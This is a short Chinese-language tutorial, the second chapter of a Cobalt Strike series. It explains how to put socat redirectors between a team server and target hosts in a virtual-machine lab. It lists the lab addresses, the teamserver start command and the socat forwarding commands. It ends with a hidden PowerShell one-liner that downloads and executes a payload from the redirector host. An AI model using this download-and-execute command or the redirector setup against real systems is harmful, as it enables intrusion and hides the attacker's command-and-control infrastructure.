Cobalt Strike 第二章 Cobalt Strike使用重定器

上一章说了cs的基本使用，今天说下重定器

重定器是一个在cs服务器和目标网络之间的服务器。这个重定器的作用是你团队服务器下的连接进行任意的连接或返回。（就是通常所说的代理服务器或端口转发工具)
作用:
1.保护服务器地址，并作为攻击者他也是一个很好的操作
2.它给予了一些很好的适应能力，假如你的工具中一两个堵塞没有大不了的也可以进行通信

工具socat(一款重定向工具)我们用它来建立80端口上的连接管理，并且继续在80端口运行那个连接团队服务器的连接
在linux系统上使用命令
socat TCP4-LISTEN:80,fork TCP4:team.cskali.com:80

准备的虚拟机
一台kali作为cs服务器，一台ubuntu做重定器,一台win2008做dns

kali 192.168.159.176 www.team.com
ubuntu 192.168.159.183 r1.team.com
dns 192.168.159.184
debian 192.168.159.135 r2.team.com

kali启动Cs服务
./teamserver 192.168.159.176 123456
unbantu 做重定器
socat TCP4-LISTEN:80,fork TCP4:www.team.com:80
debin
socat TCP4-LISTEN:80,fork TCP4:www.team.com:80

win10连接cs服务器

powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://r1.team.com:80/a’))”